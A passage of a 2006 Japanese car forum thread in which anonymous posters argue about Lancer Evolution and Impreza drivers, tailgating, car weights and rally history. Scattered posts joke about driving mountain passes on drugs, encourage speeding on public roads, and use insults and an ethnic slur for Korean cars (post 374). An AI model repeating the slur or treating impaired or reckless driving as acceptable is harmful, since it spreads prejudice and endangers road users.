スでも１分１０秒ぐらい普通に切ってくる。ンダに興味ないし乗ったこと
も当然無いがパワー以上の速さ感じるんだが。
258 ：名無しさん＠そうだドライブへ行こう：2006/01/06(金) 02:23:17 ID:oYmPemhM0
↑それが良くも悪くも、ホンダのFF。
本田宗一郎はFF崇拝者だったからな。魂がこもってる。

それでも、エボが速い。ビビッた者負け。
259 ：名無しさん＠そうだドライブへ行こう：2006/01/06(金) 02:29:22 ID:DnL0pUlN0
>本田宗一郎はFF崇拝者
へぇ～それは初めて知った。

>それでも、エボが速い。
当然。油断してたらカモられるって感じですな。
260 ：名無しさん＠そうだドライブへ行こう：2006/01/06(金) 02:38:51 ID:oYmPemhM0
↑ホンダ1300の件を知らんようだな。
261 ：名無しさん＠そうだドライブへ行こう：2006/01/06(金) 02:40:43 ID:i91kYeYu0
Ｓ２０００ってＦＲじゃなかったっけ？
262 ：名無しさん＠そうだドライブへ行こう：2006/01/06(金) 02:41:00 ID:oYmPemhM0
ていうか、ステップDQNとかに憑かれるのが精神的に辛い。
勝ったところでこの上ない無力感に襲われる。
263 ：WRXワゴン@チラシの裏：2006/01/06(金) 16:47:12 ID:X4qK69V20
>>254
FD3S登場時にマツダに行き、FD3Sがとても買えないコトと、旧型になりさがった
FCの値引きがすごい(80万引き)コトに驚き、慌てて金策した覚えがあります。
金策ができると色気が出て、色々見て、FC以上に心を引き付けられたのがRNN14
でした。試乗して、友人のRNN14もドライブさせて貰って、すげぇ気に入って、
それなのに、なぜかエスクードを買っていた。(RNN14->4WD->オフロードの発想w)

>>260
車屋の片隅に置いてあったクーペ９を（おねだりして）２週間ほど代車で借りた
コトがあります。

強制空冷４気筒＋４連キャブ。ボンネットを開けてびっくら！　どこからどう見
てもバイクの空冷エンジンがそこにあります。エンジン音もまんまバイク。飛行
機のコックピットみたいなメーター。エキサイトな加速と止まらない曲がらない
キシむボディ。ゴムを捻るようなハンドル。壊れそうなんで壊さないよーに大事
に乗ってた覚えがあります。
264 ：名無しさん＠そうだドライブへ行こう：2006/01/06(金) 18:54:06 ID:W0srrSWM0
エボ・インプはともかく、
ＮＳＸ－Ｒに煽られたら嫌だろうなぁ。
265 ：名無しさん＠そうだドライブへ行こう：2006/01/06(金) 19:30:27 ID:FIW0pcbp0
ＮＳＸ乗ってる人は煽らんでしょ。
266 ：名無しさん＠そうだドライブへ行こう：2006/01/06(金) 20:23:24 ID:nbvZx/0JO
>>253
RNN14前期

車体重量
1220ｷﾛ

競技ベース車両
1190ｷﾛ
純正ｸﾛｽﾐｯｼｮﾝは180ｷﾛ吹けきり

厚揚げﾌﾞｰｽﾄ1.2ｷﾛで300ｳﾏ
ｲﾝｼﾞｪｸﾀｰ.燃ﾎﾟﾝ.カム交換で350ｳﾏ

弱点押さえればやたら速い
267 ：名無しさん＠そうだドライブへ行こう：2006/01/06(金) 20:37:33 ID:uXjMNVi/0
絵簿印譜ダサスギ、RX－８の足元にも及ばない。
268 ：名無しさん＠そうだドライブへ行こう：2006/01/06(金) 20:43:42 ID:nbvZx/0JO
>>267

重いパワーない遅い
269 ：名無しさん＠そうだドライブへ行こう：2006/01/06(金) 21:06:59 ID:CSHXBcxS0
>>263
２０代後半の>>254だけど、あなた歳いくつですか？
今時、クーペ９運転したことある人って・・・

>>266
タイヤサイズと熱ダレがアキレス腱。

270 ：WRXワゴン：2006/01/06(金) 21:14:22 ID:XwwAyFCX0
>>266
残念ながら競技ベース車には乗ったコト無いや。その雰囲気だとストーリアX4
みたいな車なのかな？

>>269
オーナー寵愛の車でした..........ぶつけたらただじゃすまなそ～な感じw
271 ：名無しさん＠そうだドライブへ行こう：2006/01/06(金) 22:18:49 ID:nbvZx/0JO
>>269
ﾐｯｼｮﾝとブレーキがアキレス県

>>270

競技ベースは借りて乗ったけど街海苔不可だと感じた
272 ：名無しさん＠そうだドライブへ行こう：2006/01/07(土) 11:05:59 ID:VgyzSSdc0
この板で数百回は言われていることだが


女ウケが悪いエボインプ
273 ：WRXワゴン@車ヲタ：2006/01/07(土) 11:14:13 ID:4LpaRf9n0
>>272
激同。

見た目普通だし、どっちかってぇとださいし、シロートがイジったみたいな羽
ついてたりするし、乗り心地悪いし、うるさいし、酔うし、加速気持ち悪いし、
いいところが浮かばない。

ドライバーには最高の類の車だけどね。
274 ：名無しさん＠そうだドライブへ行こう：2006/01/07(土) 13:47:33 ID:1YyxaS4y0
X4よりはRNN14のほうがのりやすいんでは？
275 ：名無しさん＠そうだドライブへ行こう：2006/01/07(土) 19:48:53 ID:ANgASFi6O
>>274
そりゃそうだ

コンパクトカーみたいなサイズでも2Lだからトルクあるし
276 ：名無しさん＠そうだドライブへ行こう：2006/01/07(土) 20:24:02 ID:jPwGYvdJ0
なんでエボインプのスレなのにＲＮＮ１４の話で盛り上がるんだ？
あんな失敗作の話もうやめれ
277 ：名無しさん＠そうだドライブへ行こう：2006/01/07(土) 20:46:42 ID:ANgASFi6O
>>276
出来の悪い子ほど可愛いから

エボ1や初期インプも失敗に近いと思うけど

エボリューションして少しずつﾈｶﾞな部分消しただけだろ
278 ：名無しさん＠そうだドライブへ行こう：2006/01/07(土) 21:13:41 ID:0zjDIWjUO
>>272>>273
部屋籠もって変なアニメでも見とけやキモヲタwww
279 ：名無しさん＠そうだドライブへ行こう：2006/01/07(土) 21:36:50 ID:ZyUE+M8F0
>>272
その辺は本人の魅力でカバー。
280 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 03:35:43 ID:m2Er7dTlO
エボは見境なしに煽る印象があるので
281 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 04:09:09 ID:Z3Er2aQ00
元RNN⑭糊で現在エボ・インプ遣いってのは意外と多いはず。
282 ：ロータリー：2006/01/08(日) 04:22:11 ID:ylGR6tgYO
エボは糞だけど
インプは結構乗りやすいぜ
まぁ俺が乗ってるのはFD だけどね
283 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 07:30:05 ID:gaB0ZrgUO
>>281
当時最速の部類だしな
同じ流れの車だ
284 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 07:54:58 ID:6Oc431/V0
>>277
RNN14はエボリューションしたのか？
すぐに上がってしまう油温、ピーキーな挙動
所詮余ったパーツで作ったクルマ感がある
WRCでハシにもボーにもかからんかったニッサンの駄作！
ただしあのコンパクトさは魅力だわな
285 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 10:04:27 ID:3trV9/kd0
買って１年くらいでエボルーションじゃ
エボオーナーのプライドも大変ですね
286 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 12:04:13 ID:0tjBPBbm0
パルサーは糞だがＷＲＣでトミマキネンを使ったのは凄いな。
日産は人を見る目があるのかな？だれか詳しい人教えれ。

そういえばマキネンを言えばスバルと三菱・・・・・どっちのイメージが強いですか？皆さん。
因みに自分は三菱です・・・。
287 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 12:05:14 ID:0tjBPBbm0
マキネンを→マキネンと
288 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 12:05:25 ID:eM22pr1h0
>>285
それほどでもない。
１年で次のモデルが出ることはわかっているし。
最新のが最速ということは解っているけど、あそこまで行けば大差ないとも言えるから割合平気。
289 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 12:06:37 ID:ftUKz7yT0
今はスバルのインポーターだっけ？
引退直前に巨人に移ってＯＢ面してる大御所みたいだよな。
あのステアを抱え込むようなマキネンは好きなんだけどね
290 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 12:52:01 ID:sL9k3vzI0
比較的新しい形式の車に乗ってるやつは、安全運転が多いが古い形式のやつ
らは危険であります。
291 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 12:57:24 ID:+fWVBgKI0
そういえばそんな気がする
最近のｾﾃﾞｨｱ型は比較的大人しい・・

３～５くらいによく煽られるな
292 ：アルフレッドチロリロ～＾＾：2006/01/08(日) 13:20:47 ID:SzPZ8blI0
>>1別に。
293 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 16:59:54 ID:Ci5pQUCY0
>>290
新しい車はぶつけたくないからね
294 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 17:43:47 ID:NROQptBg0
次のエボは馬力も上げてくるでしょうな。

295 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 17:49:56 ID:ylGR6tgYO
もぅエボの生産は次で終わりらしね。三菱リコール多々あるしねｗ
296 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 18:28:05 ID:JeSLGvT70
i-Rを舐めてると痛い目見るぞw
297 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 18:37:40 ID:6Oc431/V0
>>286
トンミといえばやはり三菱でしょう
予断ですが当時の三菱のワークスラリー車（グループA）は
ファーストドライバーのマキネン主体の開発＆テストをしていた為に
セカンドドライバーはマキネンが開発したマシンに
乗らざるをえなかったので結果が出なかったコトが多かった
バーンズしかりロイクスしかり…

あとニッサンがマキネンを乗せたのはただマシなドライバーがいなかっただけ
あの頃はまだランチャVSトヨタの構図が強かったからね
298 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 19:37:37 ID:gaB0ZrgUO
>>288

アルミルーフが大差ないか？

普通のチューニングではどうしようもない部分って我慢できん
299 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 20:21:31 ID:SY9b94hD0
エボ８MRに乗ってる女ですが…。
１８歳から新車５台目ですが…。
それもすべて三菱車ですが…。
そっかーエボに乗ってるから結婚できないんだあ！納得納得。
ちなみにリミッターは解除してないから１８０ｋｍ／ｈしか出なかったよｖ

300 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 20:23:24 ID:gbUXd+g60
はいはいﾌﾞｽﾌﾞｽ
301 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 20:33:15 ID:SY9b94hD0
>300 いやんｖ期待どおりのレスさんきゅｖ
302 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 20:58:13 ID:BmhaEtAL0
>>298
ふーん、じゃあ最新のエボを乗り継げば？
303 ：288：2006/01/08(日) 21:35:04 ID:eM22pr1h0
>>298
俺の場合は５＞MRだからベースから変わったんでアルミルーフのありがたみは判らない。
どっちにしろ、車に合わせて走るしかないんだし、自分の持ってる車でベストを尽くすだけでしょ。
というわけで、MIVECいいなーと思っても自分の車に無いものは無いんで気にならない。

それはそうと皆の衆。
せっかくお姉さまが来てくださったのじゃ。
速くお茶を出さぬか。
304 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 21:40:25 ID:BmhaEtAL0
　　　　／||ミ
　　 ／ ::::|| ＿＿
　／:::::::::::|||Ｗ.Ｃ|
　|:::::::::::::::||￣￣||
　|:::::::::::::::||　 ｶﾞﾁｬｯ
　|:::::::::::::::||　　　||
　|:::::::::::::::||∧_∧
　|:::::::::::::::||´・ω・`)　 　はーい、お茶もﾄﾞｿﾞｰ
　|:::::::::::::::|| ｏ　o旦~
　|:::::::::::::::||―ｕ' ||
　＼:::::::::::||
　　 ＼ ::::||
　　　　＼||彡
305 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 21:47:32 ID:+yR5gvjvO
毎朝、白のランエボに会うが気ぜわしく何度も車線変更したり煽ってみたり不愉快きわまりないわ
306 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 21:47:49 ID:+hJFPK6h0
実際、マジ戦闘モードになることなんて皆無
直線勝負ならエボ４あたりから大差ない（コンマ数秒の違いなんて公道では無いに等しい
コーナリング勝負なんてアウトローな走り屋でもない限りやらんしね
307 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 21:56:03 ID:OfH9QsxR0
>>305
俺もだ　黄土色のエボが車間詰めて煽っているのを見る
たまに、後ろに奴が来るとムカつく
ナンバー照会してみたくなる
308 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 21:58:56 ID:2cEwth3k0
７以降のエボが嫌いだ。
ＧＴ－Ａとかアリエナイ。
ワゴンって、、、バカにするのもいい加減にしろ。
309 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 22:03:20 ID:nP+QUbVv0
ステップDQNよりはマシだろ。
310 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 22:04:16 ID:+fWVBgKI0
だがしかし、需要があったから態々作ったわけで・・
311 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 22:26:03 ID:8IAm5iwS0
街中で見かけるエボ７、丸目インプ、豚鼻インプ乗りって
20代だと思われる男ばっかなんだが
なぜか涙目インプはｵｻｰﾝしか見かけないけど
312 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 22:39:12 ID:cE/HLvSY0
今、雪山思いっきり走ってきました。エボ７ですが最高ですね！
エボは世界一曲がる４ＷＤだと聞いたんですが、本当かもしれませんね！

ホントに楽しいっす。
313 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 22:56:12 ID:2cEwth3k0
>>310
それは何の需要か？

少なくとも、GT-Aとワゴンには本来のエボのもつ意味合いが
まるでないわけだが。
314 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 23:02:07 ID:BmhaEtAL0
だからそのエボの意味を知らない人向けだろう。
または妥協をせざるを得ない人向け。
315 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 23:09:26 ID:Oh3AKvgd0
GT-A・・・AT限定免許のくせに暴走したがる坊やの需要
ワゴン・・・所帯を構えて嫁から「もうスポーツカーはやめて」と言われたが、それでも暴走したい旦那の需要
ﾃﾞﾊﾅｶﾛｳｶ
316 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 23:15:47 ID:2cEwth3k0
>>314
>エボの意味を知らない人向け

まずそこがアリエナイと思うんだ。
何がためにエボリューションの名を冠して
売っているのかと。
何がためのエボリューションだったのかと。
売るためだったら、何をしても良いのかと。（まぁ確かに、WRCやってるのは、ランサー売るための宣伝だったわけだが

よーしパパこれに乗ってとばしちゃうぞー
とかって為の車ではなかったはずだ。


だからこういっている↓
>ＧＴ－Ａとかアリエナイ。
>ワゴンって、、、バカにするのもいい加減にしろ。
317 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 23:22:44 ID:+fWVBgKI0
>>315
かなりイイ線いってるなｗ

でも、おまえらが散々批判するGT-Aも時代の流れだ
ﾌﾟﾛのMTさばきより、素人が乗る電子制御セミATが勝る時代になってしまったのだから・・
318 ：名無しさん＠そうだドライブへ行こう：2006/01/08(日) 23:46:00 ID:o+0GwF1B0
ちょっと違う。
サーキット周回では
プロのMT>プロのAT>素人のAT>素人のMT

うん、こんな感じ。
319 ：WRXワゴン：2006/01/09(月) 00:14:43 ID:m+D2MMGp0
>>318
トルコンセミATの場合（滑りによるトルク増倍効果が期待できますので）
１速２速を相当なハイギア設定にできます。ローギア設定にすると増倍効果
と重なり、スムースな発進が苦しくなります。これはトルコンの特性を有効
利用したよさげな手です。

ですが、サーキットではギア設定的に辛く、中々うまく走れないようです。

ギア比を走りに振れば（乗りにくいでしょうけど）相当に速いトルコンATが
できるかもしれませんが、MT車がある以上、AT車を（めったに使わないであ
ろう）サーキットスペシャルにする必要は無く、よってGT-AのセミATもハイ
ギア設定になってます。

とはいえ、相当に速いセダンであることは間違いないです。室内も広いです
し、普通に使って良し、スキーなどの行楽も良し、しかもイージー。サーキ
ットユースでなければ選択の意味は大いにあると思いますです。
320 ：WRXワゴン：2006/01/09(月) 00:46:01 ID:m+D2MMGp0
エボワゴンみたいな車ってアリだと思ってたりする。

単純な発想だけど、サーキットとレジャーを両立できるジャンルの車。
理想は２台所有でしょうけど、色々な制約でそれができない人は多い。
私が選んだ時点ではインプワゴンくらいしか思いつかなかったけど、同じ
ジャンルの車が選択肢に入ってくるのはうれしい限り。

エボワゴンの難は、やや重い(1.5トン)点と、大きすぎる点。ワゴンと言う
より５ドアハッチ程度にして小ぶりなスポーツワゴンであればよりよかっ
た気もする。（ベース車が成立せんか......）
321 ：名無しさん＠そうだドライブへ行こう：2006/01/09(月) 01:25:21 ID:VmPWRRTsO
円滑にね
322 ：名無しさん＠そうだドライブへ行こう：2006/01/09(月) 05:46:42 ID:ZUTx5+Jz0
>>311
ここに20代がいまつよ
2005モデルのスペＣリミテッド。
323 ：名無しさん＠そうだドライブへ行こう：2006/01/09(月) 09:42:47 ID:OqL8r2fO0
ミニバンを高出力化ってマジで本末転倒じゃね
多人数を快適に運べれることが重要スキルなのに
高いコーナリング性能や強烈な加速性能があっても意味ねぇじゃん
そんなスペックを引き出した運転をすれば絶対に同乗者からクレームがつく
同乗者の安全や快適性を無視するＤＱＮ野朗のための車か？
324 ：WRXワゴン：2006/01/09(月) 10:11:27 ID:jkoYZLWO0
>>323
同乗者がいるときはジェントルに、ソロで山坂道なら元気に、そして
サーキットに持ち込めば過激にって運用で良いと思うです。

ただ、サーキットでミニバンはさすがに浮き、ステーションワゴンサイズ
でもまだまだ浮く感じです。

例えばステージア260RSなんて言うとんでも無いのがあるけど、これが
サーキットで走るとさすがに浮きます。

イメージ的には５ドアハッチ。ファミリアスポルトワゴンの強烈なヤツとか、
RX8をもちっと大柄にしたヤツとか、そんなのがあればいいな、と思うわけですな。
（サーキット好きな家族持ちならではの貧乏性な要求ですけどね）
325 ：名無しさん＠そうだドライブへ行こう：2006/01/09(月) 10:19:27 ID:9kpDwzjg0
レガシィGTターボが人気なのは家族持ちでもそれなりに
走れる車、っていうスタンスがものの見事にマッチしてるから。
サーキットは走らないけど、ワインディングは好き、スポーツカーが
欲しいけど、チャイルドシートつけなきゃダメだし、カミさん限定免許だし。

よくいえばいいとこ取り、悪く言えば妥協の産物。
326 ：名無しさん＠そうだドライブへ行こう：2006/01/09(月) 13:58:16 ID:cJ7+0Mat0
59 ：毛無しさん ：2006/01/09(月) 11:37:07
,j;;;;;j,. ---一､ ｀ 　―--‐､_ l;;;;;;
　｛;;;;;;ゝ T辷iﾌ i 　 　f'辷jァ　 !i;;;;;
　 ヾ;;;ﾊ　　　　ﾉ　　　　　　　.::!lﾘ;;rﾞ
　　 `Z;i　　　〈.,_..,.　　　　　　ﾉ;;;;;;;;> 　ランエボが後ろにつくと不愉快
　 　,;ぇﾊ、　､_,.ｰ-､_',. 　 　,ｆﾞ: Y;;f 　　 そんなふうに考えていた時期が
　　 ~''戈ヽ 　 ｀二´ 　　 r'´:::.　`!　　　俺にもありました
327 ：名無しさん＠そうだドライブへ行こう：2006/01/09(月) 17:14:00 ID:WkE8XsDj0
GCｲﾝﾌﾟは軽いな
俺の乾燥重量で1265kgだから体重65kg、ガソリン等半量で30kgとしても1.35t程度しかない
328 ：名無しさん＠そうだドライブへ行こう：2006/01/09(月) 17:28:45 ID:wvLYpq110
オイル、クーラントは？？
329 ：WRXワゴン：2006/01/09(月) 17:55:44 ID:jkoYZLWO0
>>328

油脂類＋水モノ:15Kg
スペアタイヤ+ジャッキ+工具＋備品類:10Kg
オーディオ等雑モノ:5Kg
ガス満タン弱:45Kg
人:65Kg
----------------------------------------
合計:140Kg

ってな辺りを加算かな？

1300Kg（エアコン装備車）なら1440Kgあたりかと。
（加算重量はどの車も似たようなものですから結構軽いってのは間違って無いです）
330 ：名無しさん＠そうだドライブへ行こう：2006/01/09(月) 20:43:32 ID:o8HF02yE0
人:120kgの俺がきましたよ
331 ：名無しさん＠そうだドライブへ行こう：2006/01/09(月) 21:13:26 ID:puy6EG/c0
減量すべしって釣られてみた（笑）
332 ：名無しさん＠そうだドライブへ行こう：2006/01/09(月) 22:28:16 ID:quJ4U7300
俺の車は700kg
333 ：名無しさん＠そうだドライブへ行こう：2006/01/10(火) 12:25:26 ID:3KxdbDfkO
700000gって書くと軽そうに感じる
334 ：名無しさん＠そうだドライブへ行こう：2006/01/10(火) 18:42:37 ID:lHO6sv0N0
230万円で300馬オーバーを出して欲しい。
335 ：名無しさん＠そうだドライブへ行こう：2006/01/10(火) 18:46:09 ID:gX4m+G3/0
ランエボいいね!!
336 ：名無しさん＠そうだドライブへ行こう：2006/01/12(木) 08:54:17 ID:xhPGr5jVO
>>335
峠ではさらにイイ
337 ：名無しさん＠そうだドライブへ行こう：2006/01/12(木) 23:40:36 ID:96eaa11o0
エボ・インプに乗っている人たちって何様と思ってるの？
行動最速？ﾌﾟｰｯｸｽｸｽw
338 ：名無しさん＠そうだドライブへ行こう：2006/01/13(金) 00:01:12 ID:eJ1EeQWK0
>>337
　|￣￣￣￣￣￣￣￣￣￣￣￣|
　| 　もうちょっとひねって!!!　 　 |
　|＿＿＿＿＿＿＿＿＿＿＿＿|
　　　　　　 ∧∧ ||
　　　　　　 ( ﾟдﾟ)||
　　 　　 　 /　づΦ
339 ：名無しさん＠そうだドライブへ行こう：2006/01/13(金) 00:59:24 ID:s/CRN79Y0
スピード出さなくても面白いからお薦め（特にｲﾝﾌﾟ
340 ：名無しさん＠そうだドライブへ行こう：2006/01/13(金) 01:32:02 ID:9JdSqW4t0
ばかだな、面白い車なんてほかにもっとある。
341 ：名無しさん＠そうだドライブへ行こう：2006/01/13(金) 09:14:07 ID:MJGNGa1m0
>>337
俺様！
342 ：名無しさん＠そうだドライブへ行こう：2006/01/13(金) 23:14:19 ID:YAbwFHvr0
漏れはインプはインプでも15iという普通のｾﾀﾞﾝ。
なのにﾒﾁｬｸﾁｬ煽られて萎えまつ。
スピードﾃﾞﾈｪって！ｺﾞﾙｧ！
死ぬだろｺﾞﾙｧ！
343 ：koba ◆qy/niEfL8o ：2006/01/13(金) 23:59:33 ID:j7jfQixKO
>>1 ひがむなよ
エボ乗りが最強だからってあかんでwww
特に俺は最強やさかい
妬むのもわかるねん
せやけど、世の中はよう走る俺らが最強なんや
これは変えようのない事実やwww
344 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 00:03:06 ID:jW6Ruej80
>>342
代車で乗ったけど確かにありゃ加速せんな
一旦スピードが乗れば快適だったけど。
それよりブレーキで結構ノーズダイブするのが気になったよ
345 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 01:17:29 ID:4/GC0XV50
>>342
なら、カーブに持ち込んで勝負せよ。
346 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 09:29:52 ID:/ttUs91/0
>>343
いや、俺のＲ３４ＧＴ－Ｒが最強ですよ
347 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 09:35:12 ID:vARWS8b30
ふとバックミラーを見ると
30代独身、勉強に関しては頭のいい、肌が色白でメガネ
神経質で　走りに関しての薀蓄は知っているが
実践できない人が運転してると
20代前半ギャル嫁の一言
348 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 09:44:04 ID:x0lK8A0t0
>>347
初見でそれを判別できるおまいの嫁は何？

っていうか、左右どっちのドアミラー・ルームミラーも運転席に合わしてあれば
助手席からは後ろの運転手は見えないのに。
バニティミラーを使っても普通は見えないし。

おまいの嫁はどうやって見たんだよｗ


ああ、追加式ルームミラーなんてのもあったっけ
349 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 11:47:35 ID:uNjqbmkCO
今まで沢山のエボヤインプヲ見て来たが、ぶっ飛ばしてる奴居なかったぞ。反対にチンタラ走ってる香具師が多かった。50kぐらいで。
350 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 11:48:50 ID:T7jBra7wO
>>347
もうちょいましなネタ考えろタコ
20代前半ギャルの意見、て書き込めば一般人に見られるとでも思ったの？
秋葉原のオタクが一般人のフリしてもねぇ…キモイだけだからねぇ…
351 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 12:53:29 ID:sBp5tQX/O
一般道→安全運転。 高速道路→安全運転。 峠→安全運転。 オレみたいなインプ海苔もいるんだ！ランエボが後ろにいても知らんぷり！
352 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 13:19:30 ID:AeuEJlnR0
>>348
>>350

左車線を走ってたインプ。
追い越し様に見えた運転者は肌が色白でメガネ 。
それを見た嫁さんの一言「神経質そう・・・」

ていう具合に書けばもう少しリアルだったのにねｗ。

実生活では車乗ってない電車男なのもバレちゃってますねｗ。
353 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 13:28:00 ID:lu3dZlHZO
エボ、インプに限らず、最近の車は誰でも早く走れ、とてもバーチャル的。
面白くもなんともない。
354 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 14:46:29 ID:sV2tGXVu0
>>351
織れも安全運転派のCP9A糊だが、峠くらいは、はっちゃけようや。
355 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 14:54:10 ID:6zU7NDqjO
>>343
「俺ら・・」とか書くな。

お前だけだよ
356 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 14:59:01 ID:KT/j7cyqO
20代前半の女が後続車をよくよく見るか？
357 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 15:01:14 ID:sV2tGXVu0
見ませんね・・・
358 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 18:30:45 ID:EJj76GeR0
これからは王子みたいに額に手を当てて運転しようｗ
359 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 19:12:33 ID:lJD4sKNHO
エボはともかく、インプはすぐ煽る。乗ってる奴だいたいキモオタ。
360 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 19:15:22 ID:9xnikMmQ0
（俺は）エボはともかく、インプはすぐ煽る。（俺の車に）乗ってる奴だいたいキモオタ。

補足してみますた
361 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 20:41:28 ID:6ZfqXZCT0
ヘンケン。
362 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 21:01:54 ID:ptUlldHj0
ランエボでも飼うか
363 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 21:08:43 ID:yktHaS330
インプを飼うか
364 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 22:38:28 ID:eE3KCTHf0
>>351
お前は俺か！
365 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 22:42:57 ID:rFUuaG3N0
>>364
俺はお前だ。1.5㍑同志よ。
366 ：名無しさん＠そうだドライブへ行こう：2006/01/14(土) 23:00:22 ID:bYI+kJh00
俺インプ乗ってるけど薬やりながら峠走ると気持ちいいよ。
50km/hで走っても200km/hぐらいに感じるし。
367 ：名無しさん＠そうだドライブへ行こう：2006/01/15(日) 00:23:06 ID:NJVZ06V9O
>>366
何言ってんだヘタレが！
バリッと走れ、峠は薬よりいいんだよ！
368 ：名無しさん＠そうだドライブへ行こう：2006/01/15(日) 01:51:18 ID:LeXB0Elw0
峠で５０キロはジャマだ
369 ：名無しさん＠そうだドライブへ行こう：2006/01/15(日) 02:27:42 ID:6nQETBtr0
うちの近くの峠（南側道路）を50km/hで走ったら絶対事故る。ヘアピンだらけでしかも狭いから。
うちの近くの峠（北側道路）を50km/hで走ったら多分事故る。路面凍結しまくりでしかも狭いから。
370 ：名無しさん＠そうだドライブへ行こう：2006/01/15(日) 10:12:14 ID:AAZqzpps0
↑テクニカルコースだな。
371 ：名無しさん＠そうだドライブへ行こう：2006/01/17(火) 19:32:20 ID:pNRmrzeF0
エボ１０欲しい！最古ー
372 ：名無しさん＠そうだドライブへ行こう：2006/01/17(火) 23:52:13 ID:rFf68uxdO
>>371
捕らぬタヌキの皮算用
みたいな感じか？
373 ：名無しさん＠そうだドライブへ行こう：2006/01/18(水) 00:03:52 ID:IqsUTWRpO
今年に入ってから三菱に10を予約しようとした俺w
バカだと言ってくれ
374 ：名無しさん＠そうだドライブへ行こう：2006/01/18(水) 17:25:54 ID:fHzLnDi90
CP9Aに乗ってるが、チョン車はいらない。
只今次期R貯金中。
375 ：名無しさん＠そうだドライブへ行こう：2006/01/18(水) 18:11:20 ID:qbRXTax40
三菱はラリー活動休止するんだろ
グループＡという活躍の場を失ったＧＴ－Ｒみたいになるのか
376 ：名無しさん＠そうだドライブへ行こう：2006/01/18(水) 18:20:41 ID:MSI9kX2DO
>>375
グループNがある
377 ：名無しさん＠そうだドライブへ行こう：2006/01/18(水) 22:10:22 ID:eDR1g6s60
つ[S耐]
378 ：名無しさん＠そうだドライブへ行こう：2006/01/18(水) 22:17:13 ID:cns44MCL0
アジパシとか？
379 ：名無しさん＠そうだドライブへ行こう：2006/01/18(水) 23:55:18 ID:GNgfO1a10
そもそもランサーWRC05のベース車両はランサーエボリューションではない事実。

つか、三菱自動車が マニュファクチャラーズとしては撤退しても、
MMSPのほうが三菱の表向きの協力なしでラリー活動続けるんじゃね？
380 ：名無しさん＠そうだドライブへ行こう：2006/01/20(金) 16:01:59 ID:2gcmNVzZ0
↑９２年のランチアみたいなチーム体制か？
381 ：名無しさん＠そうだドライブへ行こう：2006/01/21(土) 22:34:44 ID:HwQ8BTP/0
このスレの掲題の車の主は、公道最速と勘違いしていませんか？
軽を煽って楽しいですか？
382 ：名無しさん＠そうだドライブへ行こう：2006/01/21(土) 23:18:43 ID:jmQMDSWU0
そんな奴が居んのかｗ
383 ：名無しさん＠そうだドライブへ行こう：2006/01/21(土) 23:28:54 ID:ZQA0Jshn0
ヘンケン
384 ：名無しさん＠そうだドライブへ行こう：2006/01/21(土) 23:34:21 ID:oZw2nR1jO
テッケン
385 ：名無しさん＠そうだドライブへ行こう：2006/01/22(日) 01:42:49 ID:Sln5xM7r0
>>381
性格診断テストで
「いつも誰かに監視されているような気がする」
にチェックを付ける方ですね？
386 ：名無しさん＠そうだドライブへ行こう：2006/01/22(日) 12:44:51 ID:HMcmoQ8/0
>>381
公道最速なんて興味ないね、
直線番町とか、かってにやってろって感じ

軽は単純に邪魔な運転をするから煽られるんだろ
道を譲れば煽られるはずがない
387 ：名無しさん＠そうだドライブへ行こう：2006/01/22(日) 13:31:54 ID:IfispCzk0
道を譲ろうとすると後ろの車も同時に車線変更するｗｗｗ
